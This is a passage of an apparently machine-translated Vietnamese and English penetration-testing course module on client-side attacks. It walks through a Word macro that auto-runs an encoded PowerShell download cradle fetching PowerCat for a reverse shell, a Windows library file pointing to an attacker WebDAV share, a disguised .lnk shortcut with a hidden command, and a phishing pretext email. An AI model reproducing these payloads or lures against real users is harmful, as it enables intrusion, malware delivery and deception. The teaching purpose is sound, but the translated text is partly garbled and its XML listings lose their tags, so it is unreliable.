Điều này hiển thị một cửa sổ mới trong đó chúng ta có thể quản lý macro của mình. Hãy nhập MyMacro làm tên trong phần Tên Macro sau đó chọn tài liệu mymacro trong menu thả xuống Macro trong. Đây là tài liệu mà macro sẽ được lưu vào. Cuối cùng, chúng ta sẽ nhấp vào Create để chèn một khung macro đơn giản vào tài liệu của chúng ta.

Thao tác này hiển thị cửa sổ Microsoft Visual Basic for Applications nơi chúng ta có thể phát triển macro của mình từ đầu hoặc sử dụng macro được chèn bộ xương.

Hãy xem lại khung macro được cung cấp. Quy trình phụ chính được sử dụng trong macro VBA của chúng tôi bắt đầu bằng Sub6 và kết thúc bằng End Sub. Điều này về cơ bản đánh dấu phần thân của macro của chúng ta.
Một thủ tục phụ rất giống với một chức năng trong VBA. Thuộc tính Sự khác biệt nằm ở chỗ các thủ tục phụ không thể được sử dụng trong biểu thức vì chúng không trả về bất kỳ giá trị nào, trong khi hàm làm.
Tại thời điểm này, macro mới của chúng ta, MyMacro(), chỉ đơn giản là một sub trống quy trình chứa một số dòng bắt đầu bằng dấu nháy đơn, đánh dấu sự khởi đầu của một bình luận một dòng trong VBA.
Sub MyMacro()
'
' MyMacro Macro
'
'
End Sub
Liệt kê 2 - Macro trống mặc định
Trong ví dụ này, chúng ta sẽ tận dụng các đối tượng ActiveX,7 cung cấp quyền truy cập vào các lệnh hệ điều hành cơ bản. Cái này có thể đạt được với WScript8 thông qua Windows Script Host Đối tượng vỏ.9
Khi chúng ta khởi tạo một đối tượng Windows Script Host Shell với CreateObject,10 chúng ta có thể gọi Run11 cho Wscript.Shell để khởi chạy một ứng dụng trên mục tiêu máy khách. Đối với macro đầu tiên của chúng ta, chúng ta sẽ bắt đầu một cửa sổ PowerShell. Mã cho macro đó được hiển thị bên dưới.
Sub MyMacro()
CreateObject("Wscript.Shell").Run "powershell"
End Sub
Liệt kê 3 - Mở macro powershell.exe
Vì macro Office không được thực thi tự động, chúng ta phải sử dụng sự kiện Document_Open và macro Tự động mở được xác định trước. Những thủ tục có thể gọi thủ tục tùy chỉnh của chúng tôi và chạy mã của chúng tôi khi một Word tài liệu được mở. Chúng khác nhau một chút, tùy thuộc vào cách Microsoft Word và tài liệu đã được mở. Cả hai đều bao gồm các trường hợp đặc biệt mà cái khác thì không và do đó chúng tôi sử dụng cả hai.
Mã VBA cập nhật của chúng tôi được hiển thị bên dưới:
Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub MyMacro()
CreateObject("Wscript.Shell").Run "powershell"
End Sub
Liệt kê 4 - Macro tự động thực thi powershell.exe sau khi mở Tài liệu
Tiếp theo, chúng ta sẽ nhấp vào biểu tượng Save trong Microsoft Visual Basic cho Applications và đóng tài liệu. Sau khi chúng tôi mở lại, Chúng tôi được cung cấp một cảnh báo bảo mật cho biết rằng macro có đã bị vô hiệu hóa. Để chạy macro của chúng ta, chúng ta sẽ nhấp vào Enable Content.

Sau khi chúng tôi nhấp vào Bật nội dung, một cửa sổ PowerShell sẽ xuất hiện.

Như Hình 24 cho thấy, cửa sổ PowerShell là bắt đầu thông qua macro của chúng tôi. Rất đẹp!
Trong đánh giá thực tế, nạn nhân của chúng tôi phải nhấp vào Bật nội dung để chạy macro của chúng tôi, nếu không cuộc tấn công của chúng tôi sẽ thất bại. Trong doanh nghiệp môi trường, chúng ta cũng có thể phải đối mặt với tình huống macro bị vô hiệu hóa cho các tài liệu Office nói chung. May mắn cho chúng tôi, macro là được sử dụng phổ biến (và được phép) trong hầu hết các doanh nghiệp.
Hãy kết thúc phần này bằng cách mở rộng việc thực thi mã của macro hiện tại của chúng ta thành một shell đảo ngược với sự trợ giúp của PowerCat.12 Chúng tôi sẽ sử dụng bản tải xuống PowerShell được mã hóa base64 nôi13 để tải xuống PowerCat và bắt đầu ngược lại vỏ. Lệnh PowerShell được mã hóa sẽ được khai báo dưới dạng Chuỗi trong VBA.
Chúng ta cần lưu ý rằng VBA có giới hạn 255 ký tự cho và do đó, chúng ta không thể chỉ nhúng các PowerShell dưới dạng một chuỗi duy nhất. Hạn chế này không áp dụng cho các chuỗi được lưu trữ trong biến, vì vậy chúng ta có thể tách các lệnh thành nhiều dòng (được lưu trữ trong chuỗi) và nối chúng.
Để thực hiện việc này, chúng ta sẽ nhấp vào phần tử Macros trong tab View, chọn MyMacro trong danh sách và nhấp vào Chỉnh sửa để quay lại trình chỉnh sửa macro. Tiếp theo, chúng ta sẽ khai báo một biến chuỗi có tên Str với Mờ14 mà chúng ta sẽ sử dụng để lưu trữ PowerShell của chúng ta Tải xuống cradle và lệnh để tạo một shell đảo ngược với PowerCat. Danh sách sau đây cho thấy khai báo của biến và dòng đã sửa đổi để chạy lệnh được lưu trữ dưới dạng chuỗi trong có thể thay đổi.
Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub MyMacro()
Dim Str As String
CreateObject("Wscript.Shell").Run Str
End Sub
Liệt kê 5 - Khai báo một biến chuỗi và cung cấp nó như một tham số
Tiếp theo, chúng ta sẽ sử dụng lệnh PowerShell để tải xuống PowerCat và Thực hiện vỏ đảo ngược. Chúng ta sẽ mã hóa lệnh với base64 thành Tránh các vấn đề với các ký tự đặc biệt như chúng ta đã xử lý trước Mô-đun. Danh sách sau đây hiển thị lệnh PowerShell trước đây mã hóa base64.
Để mã hóa lệnh base64 của chúng ta, chúng ta có thể sử dụng pwsh trên Kali như chúng ta đã làm trong Mô-đun các cuộc tấn công ứng dụng web phổ biến.
IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.119.2/powercat.ps1');powercat -c 192.168.119.2 -p 4444 -e powershell
Liệt kê 6 - Giá đỡ tải xuống PowerShell và vỏ đảo ngược PowerCat
Chúng ta có thể sử dụng tập lệnh Python sau để tách base64 được mã hóa xâu chuỗi thành các đoạn nhỏ hơn gồm 50 ký tự và nối chúng thành biến Str. Để thực hiện việc này, chúng tôi lưu trữ lệnh PowerShell trong một có tên str và số ký tự cho một đoạn tính bằng n. Chúng ta phải đảm bảo rằng lệnh được mã hóa base64 không chứa bất kỳ dòng nào sẽ ngắt sau khi chúng tôi dán nó vào tập lệnh. Một vòng lặp for-loop lặp lại qua lệnh PowerShell và in từng đoạn theo đúng cho macro của chúng ta.
str = "powershell.exe -nop -w hidden -e SQBFAFgAKABOAGUAdwA..."
n = 50
for i in range(0, len(str), n):
print("Str = Str + " + '"' + str[i:i+n] + '"')
Liệt kê 7 - Kịch bản lệnh Python để tách chuỗi lệnh PowerShell được mã hóa base64
Sau khi chia chuỗi được mã hóa base64 thành các phần nhỏ hơn, chúng ta có thể Cập nhật macro của chúng tôi:
Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub MyMacro()
Dim Str As String
Str = Str + "powershell.exe -nop -w hidden -enc SQBFAFgAKABOAGU"
Str = Str + "AdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAd"
Str = Str + "AAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwB"
...
Str = Str + "QBjACAAMQA5ADIALgAxADYAOAAuADEAMQA4AC4AMgAgAC0AcAA"
Str = Str + "gADQANAA0ADQAIAAtAGUAIABwAG8AdwBlAHIAcwBoAGUAbABsA"
Str = Str + "A== "
CreateObject("Wscript.Shell").Run Str
End Sub
Liệt kê 8 - Macro gọi PowerShell để tạo một vỏ đảo ngược
Sau khi sửa đổi macro của mình, chúng ta có thể lưu và đóng tài liệu. Trước mở lại nó, hãy khởi động một máy chủ web Python3 trong thư mục nơi tập lệnh PowerCat được đặt. Chúng ta cũng sẽ bắt đầu trình nghe Netcat trên cổng 4444.
Sau khi nhấp đúp vào tài liệu, macro sẽ tự động được thực hiện. Lưu ý rằng cảnh báo bảo mật macro liên quan đến Bật Nút Nội dung không xuất hiện lại. Nó sẽ chỉ xuất hiện lại nếu Tên của tài liệu thay đổi.
Sau khi macro được thực thi, chúng tôi nhận được yêu cầu GET cho PowerCat trong máy chủ web Python3 của chúng tôi và một shell đảo ngược đến trong Người nghe Netcat.
kali@kali:~$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.119.2] from (UNKNOWN) [192.168.50.196] 49768
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:\Users\offsec\Documents>
Liệt kê 9 - Reverse shell từ macro Word
Mở tài liệu chạy macro và gửi cho chúng tôi một shell ngược. Tuyệt vời!
Hãy tóm tắt ngắn gọn những gì chúng tôi đã làm trong phần này. Đầu tiên, chúng tôi đã tạo ra macro VBA trong tài liệu Word để thực hiện một lệnh duy nhất khi Tài liệu được mở. Sau đó, chúng ta thay thế lệnh đơn bằng một lệnh Lệnh PowerShell được mã hóa base64 tải xuống PowerCat và bắt đầu vỏ đảo ngược trên hệ thống cục bộ.
Tài liệu Microsoft Office chứa macro độc hại vẫn còn một vectơ tấn công phía máy khách tuyệt vời để có được chỗ đứng ban đầu trong một mạng doanh nghiệp. Tuy nhiên, với nhận thức ngày càng tăng của người dùng không mở tài liệu Office từ email và số lượng công nghệ bảo mật tại chỗ, nó ngày càng trở nên khó khăn hơn để phân phối và thực thi macro. Do đó, chúng ta sẽ thảo luận về một cuộc tấn công phía máy khách khác trong Đơn vị học tập tiếp theo, mà chúng ta có thể sử dụng như một giải pháp thay thế hoặc thậm chí là một phương thức phân phối cho Office độc hại tài liệu.
(Hỗ trợ của Microsoft, 2019), https://support.office.com/en-us/article/Create-or-run-a-macro-C6B99036-905C-49A6-818A-DFB98B7C3C9C ↩︎
(Tài liệu Microsoft, 2021), https://docs.microsoft.com/en-us/office/vba/api/overview/ ↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/ActiveX ↩︎
(Microsoft, 2020), https://docs.microsoft.com/en-us/windows/win32/dataxchg/about-dynamic-data-exchange?redirectedfrom=MSDN ↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Object_Linking_and_Embedding ↩︎
(Tài liệu Microsoft, 2022), https://docs.microsoft.com/en-us/office/vba/Language/Concepts/Getting-Started/calling-sub-and-function-procedures ↩︎
(Tài liệu Microsoft, 2018), https://docs.microsoft.com/en-us/previous-versions/windows/desktop/automat/activex-objects ↩︎
(Tài liệu Microsoft, 2015), https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/windows-scripting/at5ydy31(v=vs.84) ↩︎
(Tài liệu Microsoft, 2015), https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/windows-scripting/aew9yb99(v=vs.84) ↩︎
(Tài liệu Microsoft, 2022), https://docs.microsoft.com/en-us/office/vba/Language/Reference/User-Interface-Help/createobject-function ↩︎
(Adersoft VBSEsửa đổi, 2022), http://www.vbsedit.com/html/6f28899c-d653-4555-8a59-49640b0e32ea.asp ↩︎
(Github, 2020), https://github.com/besimorhino/powercat ↩︎
(Github, 2017), https://gist.github.com/HarmJ0y/bb48307ffa663256e239 ↩︎
(Tài liệu Microsoft, 2021), https://docs.microsoft.com/en-us/dotnet/visual-basic/language-reference/statements/dim-statement ↩︎
Một số phòng thí nghiệm yêu cầu bạn khởi động (các) máy mục tiêu bên dưới.
Xin lưu ý rằng địa chỉ IP được gán cho máy mục tiêu của bạn có thể không khớp với địa chỉ được tham chiếu trong văn bản và video của Mô-đun.
|
Tấn công phía máy khách - Tận dụng Macro Microsoft Word - VM Group 1
|
|
|
Đơn vị học tập này bao gồm các Mục tiêu Học tập sau:
Nhiều sản phẩm bảo mật quét macro độc hại. Microsoft cũng cung cấp hướng dẫn1 và Đối tượng Chính sách Nhóm (GPO)2 Mẫu3 để giảm thiểu và giảm thiểu mối đe dọa này. Trong Ngoài ra, hầu hết các chương trình đào tạo nhận thức về kỹ thuật xã hội đều tập trung vào ngăn chặn vectơ này. Những yếu tố này làm cho nó trở thành một vectơ khó thực hiện thành công.
Trong Bài học này, chúng ta sẽ khám phá các tệp thư viện Windows,4 là một mối đe dọa ít được biết đến hơn nhưng hiệu quả không kém.
(Tài liệu Microsoft, 2021), https://docs.microsoft.com/en-us/DeployOffice/security/plan-security-settings-for-vba-macros-in-office ↩︎
(Tài liệu Microsoft, 2018), https://docs.microsoft.com/en-us/previous-versions/windows/desktop/policy/group-policy-objects ↩︎
(Tài liệu Microsoft, 2022), https://www.microsoft.com/en-us/download/details.aspx?id=49030 ↩︎
(Tài liệu Microsoft, 2021), https://docs.microsoft.com/en-us/windows/client-management/windows-libraries ↩︎
Các tệp thư viện Windows là vùng chứa ảo cho nội dung người dùng. Họ Kết nối người dùng với dữ liệu được lưu trữ ở các vị trí từ xa như dịch vụ web hoặc cổ phiếu. Các tệp này có tệp . Library-ms và có thể được thực thi bằng cách nhấp đúp vào chúng trong Windows Explorer.
Trong phần này, chúng tôi sẽ tận dụng cuộc tấn công phía máy khách hai giai đoạn. Trong tệp giai đoạn đầu tiên, chúng ta sẽ sử dụng các tệp thư viện Windows để có được chỗ đứng trên hệ thống mục tiêu và thiết lập giai đoạn thứ hai. Trong giai đoạn thứ hai, chúng ta sẽ Sử dụng chỗ đứng để cung cấp một tệp thực thi sẽ bắt đầu đảo ngược vỏ khi nhấp đúp.
Đầu tiên, chúng ta sẽ tạo một tệp thư viện Windows kết nối với WebDAV1 chia sẻ chúng tôi sẽ thiết lập. Trong giai đoạn đầu tiên, nạn nhân nhận được tệp . Library-ms, có thể qua email. Khi nào họ nhấp đúp vào tệp, nó sẽ xuất hiện dưới dạng một thư mục thông thường trong Trình khám phá Windows. Trong thư mục WebDAV, chúng ta sẽ cung cấp một payload trong dạng tệp phím tắt .lnk cho giai đoạn thứ hai để thực thi một vỏ ngược PowerShell. Chúng ta phải thuyết phục người dùng nhấp đúp tệp tải trọng .lnk của chúng tôi để thực thi nó.
Thoạt nhìn, có vẻ như chúng ta có thể thực hiện điều này bằng cách phục vụ tệp .lnk cho giai đoạn thứ hai với một máy chủ web như Apache. Nhược điểm là chúng ta sẽ cần cung cấp liên kết web của chúng ta đến nạn nhân (một lần nữa, có thể qua email). Hầu hết các bộ lọc thư rác và bảo mật công nghệ phân tích nội dung của liên kết để tìm nội dung đáng ngờ hoặc các loại tệp thực thi để tải xuống. Điều này có nghĩa là các liên kết của chúng tôi có thể là được lọc trước khi tiếp cận nạn nhân.
On the other hand, a majority of spam filters and security technologies will pass Windows library files directly to the user. When they double-click the file, Windows Explorer displays the contents of the remote location as if it were a local directory. In this case, the remote location is a WebDAV share on our attack machine. Overall, this is a relatively straightforward process and makes it seem as if the user is double-clicking a local file.
To demonstrate this, we'll first set up a WebDAV share on our Kali system. We'll use WsgiDAV2 as the WebDAV server to host and serve our files. We can use pip3 to install WsgiDAV.
kali@kali:~$ pip3 install wsgidav
Defaulting to user installation because normal site-packages is not writeable
Collecting wsgidav
Downloading WsgiDAV-4.0.1-py3-none-any.whl (171 kB)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 171.3/171.3 KB 1.6 MB/s eta 0:00:00
...
Successfully installed json5-0.9.6 wsgidav-4.0.1
Listing 10 - Installing pip3 and WsgiDAV
Once WsgiDAV is installed, we'll create the /home/kali/webdav directory to use as the WebDAV share that will contain our .lnk file. For now, let's place a test.txt file in this directory.
If the installation of WsgiDAV fails with error: externally-managed-environment, we can use a virtual environment3 or install the package python3-wsgidav with apt. In PEP 668,4 a change was introduced to enforce the use of virtual environments and prevent situations in which package installations via pip break the operating system.
Next, we'll run WsgiDAV from the /home/kali/.local/bin directory. In the case that WsgiDAV was installed via apt, the installation path differs and wsgidav should be used as command to start the server throughout the course. The first parameter we'll provide is --host, which specifies the host to serve from. We'll listen on all interfaces with 0.0.0.0. Next, we'll specify the listening port with --port=80 and disable authentication to our share with --auth=anonymous. Finally, we'll set the root of the directory of our WebDAV share with --root /home/kali/webdav/.
kali@kali:~$ mkdir /home/kali/webdav
kali@kali:~$ touch /home/kali/webdav/test.txt
kali@kali:~$ /home/kali/.local/bin/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/webdav/
Running without configuration file.
17:41:53.917 - WARNING : App wsgidav.mw.cors.Cors(None).is_disabled() returned True: skipping.
17:41:53.919 - INFO : WsgiDAV/4.0.1 Python/3.9.10 Linux-5.15.0-kali3-amd64-x86_64-with-glibc2.33
17:41:53.919 - INFO : Lock manager: LockManager(LockStorageDict)
17:41:53.919 - INFO : Property manager: None
17:41:53.919 - INFO : Domain controller: SimpleDomainController()
17:41:53.919 - INFO : Registered DAV providers by route:
17:41:53.919 - INFO : - '/:dir_browser': FilesystemProvider for path '/home/kali/.local/lib/python3.9/site-packages/wsgidav/dir_browser/htdocs' (Read-Only) (anonymous)
17:41:53.919 - INFO : - '/': FilesystemProvider for path '/home/kali/webdav' (Read-Write) (anonymous)
17:41:53.920 - WARNING : Basic authentication is enabled: It is highly recommended to enable SSL.
17:41:53.920 - WARNING : Share '/' will allow anonymous write access.
17:41:53.920 - WARNING : Share '/:dir_browser' will allow anonymous read access.
17:41:54.348 - INFO : Running WsgiDAV/4.0.1 Cheroot/8.5.2+ds1 Python 3.9.10
17:41:54.348 - INFO : Serving on http://0.0.0.0:80 ..
Liệt kê 11 - Bắt đầu WsgiDAV trên cổng 80
Đầu ra chỉ ra rằng máy chủ WebDAV hiện đang chạy trên cổng 80. Hãy xác nhận điều này bằng cách mở http://127.0.0.1 trong trình duyệt của chúng tôi.

Hình 25 cho thấy rằng chúng ta có thể thành công duyệt đến chia sẻ WebDAV và xem test.txt.
Tiếp theo, hãy tạo tệp thư viện Windows. Chúng ta sẽ sử dụng xfreerdp để kết nối với máy CLIENT137 theo số 192.168.50.194 qua RDP để Chuẩn bị tấn công của chúng tôi. Chúng ta có thể kết nối với hệ thống bằng offsec như username và lab làm mật khẩu. Điều này sẽ làm cho nó dễ dàng hơn rất nhiều cho chúng ta để xây dựng và kiểm tra tệp thư viện của chúng ta, và sau đó là tệp lối tắt của chúng ta.
Sau khi kết nối, chúng ta sẽ tìm thấy Visual Studio Code (VSC)5 trên máy tính để bàn, mà chúng ta sẽ sử dụng để tạo thư viện của chúng ta tập tin. Chúng ta nên lưu ý rằng chúng ta cũng có thể sử dụng Notepad để tạo tập tin. Hãy mở VSC bằng cách nhấp đúp vào biểu tượng.

Trong thanh menu, chúng ta sẽ nhấp vào File > New Text File. Sau đó, chúng tôi sẽ Lưu tệp trống dưới dạng cấu hình. Library-ms trên máy tính để bàn. Ngay sau khi chúng tôi lưu tệp với phần mở rộng tệp này, nó được hiển thị với một biểu tượng. Mặc dù biểu tượng trông không nguy hiểm, nhưng nó không được Windows sử dụng phổ biến và do đó có thể gây nghi ngờ. Để tăng khả năng nạn nhân thực thi tệp của chúng ta, hãy thay đổi diện mạo của nó.

Các tệp thư viện bao gồm ba phần chính và được viết bằng XML để Chỉ định các thông số để truy cập các vị trí từ xa. Các phần là thông tin thư viện chung, thuộc tính thư viện và thư viện địa điểm. Hãy xây dựng mã XML bằng cách thêm và giải thích các thẻ. Chúng ta có thể tham khảo Lược đồ mô tả thư viện6 cho Thông tin thêm. Chúng ta sẽ bắt đầu bằng cách thêm tệp XML và thư viện phiên bản định dạng.
Danh sách dưới đây chứa không gian tên7 cho tệp thư viện. Đây là không gian tên cho phiên bản của thư viện định dạng tệp bắt đầu từ Windows 7. Danh sách cũng chứa đóng cho mô tả thư viện. Tất cả các thẻ sau đây chúng tôi bìa sẽ được thêm vào bên trong thư việnMô tả8 thẻ.
Liệt kê 12 - Phiên bản mô tả XML và thư viện
Tiếp theo, chúng ta sẽ thêm hai thẻ cung cấp thông tin về thư viện. Tên gọi9 chỉ định tên của thư viện này. Chúng ta không được nhầm lẫn điều này với một cái tên tùy ý mà chúng ta có thể đặt ngẫu nhiên. Chúng tôi cần để chỉ định tên của thư viện bằng cách cung cấp tên và chỉ mục DLL. Chúng tôi có thể sử dụng @shell32.dll,-34575 hoặc @windows.storage.dll,-34582 như được chỉ định trên trang web của Microsoft. Chúng ta sẽ sử dụng cái sau để tránh Bất kỳ vấn đề nào với bộ lọc dựa trên văn bản có thể gắn cờ trên "Shell32". Phiên bản10 có thể được đặt thành một giá trị số của sự lựa chọn, ví dụ, 6.
@windows.storage.dll,-34582
6
Liệt kê 13 - Tên và các thẻ phiên bản của thư viện
Tiếp theo, chúng ta sẽ thêm isLibraryPinned11 của bạn. Yếu tố này chỉ định xem thư viện có được ghim vào ngăn điều hướng trong Windows hay không Nhà thám hiểm. Đối với các mục tiêu của chúng tôi, đây có thể là một chi tiết nhỏ khác cần thực hiện Toàn bộ quá trình cảm thấy chân thực hơn và do đó, chúng tôi sẽ đặt nó thành đúng. Thẻ tiếp theo chúng ta sẽ thêm là iconReference,12 xác định biểu tượng nào được sử dụng để hiển thị tệp thư viện. Chúng tôi phải chỉ định giá trị ở cùng định dạng với phần tử tên. Chúng tôi có thể sử dụng imagesres.dll để chọn giữa tất cả các biểu tượng Windows. Chúng tôi có thể sử dụng chỉ mục "-1002" cho biểu tượng thư mục Tài liệu từ người dùng thư mục chính hoặc "-1003" cho biểu tượng thư mục Ảnh. Chúng tôi sẽ cung cấp cái sau để làm cho nó trông lành tính hơn.
true
imageres.dll,-1003
Liệt kê 14 - Cấu hình cho việc ghim và biểu tượng thanh điều hướng
Bây giờ, hãy thêm templateInfo13 , chứa thư mụcType14 thẻ. Các thẻ này xác định cột và chi tiết xuất hiện trong Windows Explorer theo mặc định sau mở thư viện. Chúng ta sẽ cần chỉ định một GUID mà chúng ta có thể xem xét lên tài liệu của Microsoft15 trang web của bạn. Đối với điều này ví dụ, chúng ta sẽ sử dụng GUID Tài liệu để xuất hiện thuyết phục như có thể cho nạn nhân.
{7d49d726-3c21-4f05-99aa-fdc2c9474656}
Liệt kê 15 - thẻ templateInfo và folderType
Thẻ tiếp theo đánh dấu sự bắt đầu của các vị trí thư viện phần. Trong phần này, chúng tôi chỉ định vị trí lưu trữ trong đó tệp thư viện của chúng ta nên trỏ đến. Chúng ta sẽ bắt đầu bằng cách tạo searchConnectorDescriptionList,16 chứa Danh sách các trình kết nối tìm kiếm17 được xác định bởi searchConnectorDescription.18 Trình kết nối tìm kiếm được sử dụng bởi thư viện để chỉ định cài đặt kết nối với một vị trí từ xa. Chúng ta có thể chỉ định một hoặc nhiều phần tử searchConnectorDescription bên trong thẻ searchConnectorDescriptionList. Đối với ví dụ này, chúng tôi chỉ chỉ định một.
Bên trong mô tả của trình kết nối tìm kiếm, chúng tôi sẽ chỉ định thông tin và thông số cho chia sẻ WebDAV của chúng tôi. Thẻ đầu tiên chúng ta sẽ add là isDefaultSaveLocation19 với giá trị đặt thành true. Thẻ này xác định hành vi của Windows Explorer khi người dùng chọn lưu một mục. Để sử dụng hành vi mặc định và location, chúng ta sẽ đặt nó thành true. Tiếp theo, chúng ta sẽ thêm thẻ isSupported, không được ghi lại trong trang web Tài liệu của Microsoft, và được sử dụng để tương thích. Chúng ta có thể đặt nó thành false.
Thẻ quan trọng nhất là url,20 mà chúng ta cần chỉ ra vào chia sẻ WebDAV đã tạo trước đó của chúng tôi qua HTTP. Nó được chứa trong simpleLocation21 tags, which we can use to specify the remote location in a more user-friendly way as the normal locationProvider22 element.
true
false
http://192.168.119.2
Listing 16 - templateInfo and folderType tags
Let's paste the code into Visual Studio Code.
We have just reviewed the XML code for all of the sections of our library File. We now have a basic understanding of the inner workings of library files and can customize them to fit our needs. The following listing shows the entire XML:
@windows.storage.dll,-34582
6
true
imageres.dll,-1003
{7d49d726-3c21-4f05-99aa-fdc2c9474656}
true
false
http://192.168.119.2
Listing 17 - Windows Library code for connecting to our WebDAV Share
Let's save and close the file in Visual Studio Code. We'll then double-click the config.Library-ms file on the Desktop.

Khi chúng tôi mở thư mục trong Explorer, chúng tôi tìm thấy tệp test.txt đã tạo trước đó mà chúng tôi đã đặt trong chia sẻ WebDAV. Do đó, thư viện hoạt động và nhúng kết nối vào chia sẻ WebDAV.
Rất đẹp!
Như một phần thưởng bổ sung, đường dẫn trong thanh điều hướng chỉ hiển thị cấu hình mà không có bất kỳ dấu hiệu nào cho thấy đây thực sự là điều khiển từ xa vị trí. Điều này làm cho nó trở thành giai đoạn đầu tiên hoàn hảo cho phía khách hàng của chúng tôi tấn công.
Khi chúng ta mở lại tệp của mình trong Visual Studio Code, chúng ta thấy rằng một xuất hiện có tên là Serialized.23 Thẻ chứa thông tin được mã hóa base64 về vị trí của thẻ URL. Ngoài ra, nội dung bên trong thẻ url đã thay đổi từ http://192.168.119.2 thành \\192.168.119.2\DavWWWRoot. cửa sổ cố gắng tối ưu hóa thông tin kết nối WebDAV cho Windows Ứng dụng WebDAV24 và do đó sửa đổi nó.

Tệp thư viện vẫn hoạt động khi chúng ta nhấp đúp vào nó, nhưng do thông tin được mã hóa trong thẻ tuần tự, nó có thể không hoạt động trên các máy khác hoặc sau khi khởi động lại. Điều này có thể dẫn đến một tình huống trong đó cuộc tấn công phía máy khách của chúng tôi không thành công, vì Windows Explorer hiển thị chia sẻ WebDAV trống.
Để tránh gặp bất kỳ sự cố nào khi thực hiện cuộc tấn công này, chúng tôi có thể đặt lại tệp về trạng thái ban đầu bằng cách dán nội dung của liệt kê 17 vào Visual Studio Code. Thật không may, chúng ta cần làm điều này mỗi khi chúng ta thực thi tệp thư viện Windows. Tuy nhiên, đây không phải là vấn đề lớn vì trong hầu hết các đánh giá, chúng ta chỉ cần nạn nhân nhấp đúp vào tệp một lần. Khi tệp đã trả về Về trạng thái ban đầu, chúng tôi đã sẵn sàng gửi tệp cho nạn nhân của mình.
Bây giờ chúng ta đã có một tệp thư viện Windows đang hoạt động, chúng ta sẽ cần tạo Tệp lối tắt. Mục tiêu là bắt đầu một shell đảo ngược bằng cách đặt tệp phím tắt .lnk trên chia sẻ WebDAV để nạn nhân thực thi.
Hãy tạo phím tắt trên màn hình cho người dùng offsec. Đối với điều này, chúng ta sẽ nhấp chuột phải vào màn hình nền và nhấp vào Mới sau đó nhấp vào Phím tắt. Trong cửa sổ Create Shortcut, chúng ta có thể nhập một đường dẫn vào một chương trình cùng với các đối số, sẽ được trỏ đến bởi phím tắt. Chúng ta sẽ trỏ lối tắt đến PowerShell và sử dụng một tải xuống giá đỡ để tải PowerCat từ máy Kali của chúng tôi và khởi động vỏ ngược.
Chúng ta sẽ sử dụng lệnh mà chúng ta đã tận dụng trước đây:
powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.119.3:8000/powercat.ps1');
powercat -c 192.168.119.3 -p 4444 -e powershell"
Liệt kê 18 - PowerShell Download Cradle và PowerCat Reverse Shell Execution
Chúng ta sẽ nhập lệnh này vào trường nhập liệu và nhấp vào Next.

Nếu chúng ta mong đợi rằng nạn nhân của chúng ta đủ hiểu biết về công nghệ để thực sự Kiểm tra xem các tệp phím tắt đang trỏ đến đâu, chúng ta có thể sử dụng một thủ thuật tiện dụng. Vì lệnh được cung cấp của chúng ta trông rất đáng ngờ, chúng ta chỉ cần đặt một dấu phân cách và lệnh lành tính đằng sau nó để đẩy lệnh độc hại ra khỏi khu vực hiển thị trong menu thuộc tính của tệp. Nếu người dùng để kiểm tra phím tắt, họ sẽ chỉ thấy lệnh lành tính.
Trong cửa sổ tiếp theo, hãy nhập automatic_configuration dưới dạng tên cho tệp lối tắt và nhấp vào Kết thúc để tạo tệp.
Trên máy Kali của chúng ta, hãy khởi động một máy chủ web Python3 trên cổng 8000 vị trí của powercat.ps1 và khởi động trình nghe Netcat trên cổng 4444.
Thay vì sử dụng máy chủ web Python3 để phục vụ Powercat, chúng ta có thể cũng lưu trữ nó trên chia sẻ WebDAV. Tuy nhiên, như chia sẻ WebDAV của chúng tôi là có thể ghi, AV và các giải pháp bảo mật khác có thể xóa hoặc cách ly tải trọng của chúng tôi. Nếu chúng ta định cấu hình chia sẻ WebDAV là chỉ đọc, chúng ta sẽ mất Một phương pháp tuyệt vời để chuyển tệp từ các hệ thống đích. Xuyên suốt khóa học này, chúng ta sẽ sử dụng máy chủ web Python3 để phục vụ tải trọng của chúng ta cho các cuộc tấn công sử dụng các tệp Thư viện Windows.
Để xác nhận rằng đế tải xuống và PowerCat đảo ngược shell hoạt động, hãy nhấp đúp vào tệp phím tắt trên màn hình nền. Sau khi xác nhận rằng chúng tôi muốn chạy ứng dụng trong phần xuất hiện window, trình nghe Netcat sẽ nhận được một shell ngược.
kali@kali:~$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.119.2] from (UNKNOWN) [192.168.50.194] 49768
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:\Windows\System32\WindowsPowerShell\v1.0>
Liệt kê 19 - Kết nối shell ngược thành công thông qua tệp Lối tắt của chúng ta
Để kết thúc phần này, chúng ta hãy lấy một vỏ đảo ngược từ máy HR137 tại 192.168.50.195. Đối với ví dụ này, chúng tôi sẽ cung cấp tệp thư viện Windows mà chúng tôi đã tạo cho nạn nhân mô phỏng với cái cớ. Mục tiêu của chúng tôi là thuyết phục nạn nhân nhấp đúp vào phím tắt sau khi nhúng chia sẻ WebDAV qua thư viện Windows đã chuẩn bị tập tin.
Cái cớ là một khía cạnh quan trọng của cuộc tấn công phía máy khách này. Trong trường hợp chúng tôi có thể nói với mục tiêu rằng chúng tôi là thành viên mới của nhóm CNTT và chúng ta cần cấu hình tất cả các hệ thống máy khách cho ban quản lý mới nền tảng. Chúng tôi cũng sẽ cho họ biết rằng chúng tôi đã bao gồm một chương trình cấu hình. Một email ví dụ để sử dụng trong đánh giá thực tế được hiển thị bên dưới.
Hello! My name is Dwight, and I'm a new member of the IT Team.
This week I am completing some configurations we rolled out last week.
